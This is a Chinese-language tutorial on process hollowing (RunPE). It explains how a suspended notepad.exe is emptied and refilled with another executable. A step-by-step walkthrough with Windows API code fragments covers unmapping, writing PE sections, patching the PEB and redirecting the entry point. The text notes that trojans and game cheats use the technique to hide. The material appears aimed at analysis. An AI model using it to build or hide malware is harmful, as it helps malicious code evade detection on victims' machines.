介绍
傀儡进程,原名Process Hollowing(进程替换),有的也叫RunPE技术。指的是:将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程。在早期的木马程序中使用较广,现在很多外挂程序仍然使用此技术实现隐藏自身。实现傀儡进程必须要选择合适的时机,要在目标进程刚加载进内存后还未开始运行之前替换。
显著特点:外挂运行后,发现是执行在某些系统程序进程中的,比如notepad.exe
技术实现:
-
样本创建一个合法进程(如 Notepad.exe)处于挂起状态;
-
解除该进程的原始内存代码段;
-
将自身(A.exe)或者某其他(B.exe)代码写入 Notepad 的内存中;
-
恢复执行 Notepad,此时实际运行的是 A.exe 的逻辑。
代码实现
代码解析
这段代码的核心原理是 “进程替换”(Process Hollowing),也叫 “RunPE技术”,用于将一个合法的进程(比如 Notepad.exe)作为壳进程挂起启动,然后用你自己的程序(A.exe)替换其内存中的内容,再恢复运行,实现注入和伪装执行。
✅ 代码执行流程讲解
1. 创建挂起的合法进程(notepad.exe)
CreateProcessA("C:\\Windows\\SysWOW64\\notepad.exe", ..., CREATE_SUSPENDED, ...)
-
启动目标(壳)进程,但 不立即运行,而是挂起线程。
-
这样可以安全地修改其内存内容。
2. 读取你要注入的程序(A.exe)到内存
HANDLE hFile = CreateFileA(realExePath, ...);
ReadFile(hFile, buffer, fileSize, &bytesRead, NULL);
-
读取整个 A.exe 的二进制内容到内存。
-
为后面写入目标进程做准备。
3. 解析 A.exe 的 PE 结构
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS32 nt = (PIMAGE_NT_HEADERS32)(buffer + dos->e_lfanew);
-
定位 NT 头(即
IMAGE_NT_HEADERS32
)以获取ImageBase
、SizeOfImage
、节信息等。
4. 获取目标进程的 PEB 中 ImageBase
GetThreadContext(pi.hThread, &ctx); // 获取线程上下文
DWORD pebAddress = ctx.Ebx; // EBX 指向 PEB 地址(32位进程中)
ReadProcessMemory(pi.hProcess, (LPCVOID)(pebAddress + 8), &imageBase, sizeof(DWORD), NULL);
-
找到 Notepad.exe 当前加载的 ImageBase 地址。
5. 解除原来 Notepad.exe 映像在目标进程中的映射
ZwUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
-
使用
ZwUnmapViewOfSection
清除原始映像,释放其地址空间,避免冲突。
6. 在原 ImageBase 地址分配新的空间
VirtualAllocEx(pi.hProcess, (LPVOID)nt->OptionalHeader.ImageBase, ...)
-
尝试在相同地址为 A.exe 分配足够大的空间。
7. 写入 A.exe 的 PE Header 和每一个节(Section)
WriteProcessMemory(pi.hProcess, remoteImage, buffer, nt->OptionalHeader.SizeOfHeaders, NULL);
-
写入 PE 头信息。
-
然后循环写入每个节区内容。
8. 修复 PEB 中的 ImageBase 地址
WriteProcessMemory(pi.hProcess, (LPVOID)(pebAddress + 8), &nt->OptionalHeader.ImageBase, ...);
-
修改目标进程的 PEB,使其以为自己是 A.exe。
9. 设置线程入口地址为 A.exe 的 EntryPoint
ctx.Eax = (DWORD)remoteImage + nt->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
-
修改线程的 EAX,使其跳转到新映像的入口。
10. 恢复线程运行,执行 A.exe
ResumeThread(pi.hThread);
-
启动线程,运行 A.exe。
实验样本下载
更完整的实验样本注入代码:
傀儡进程逆向分析方法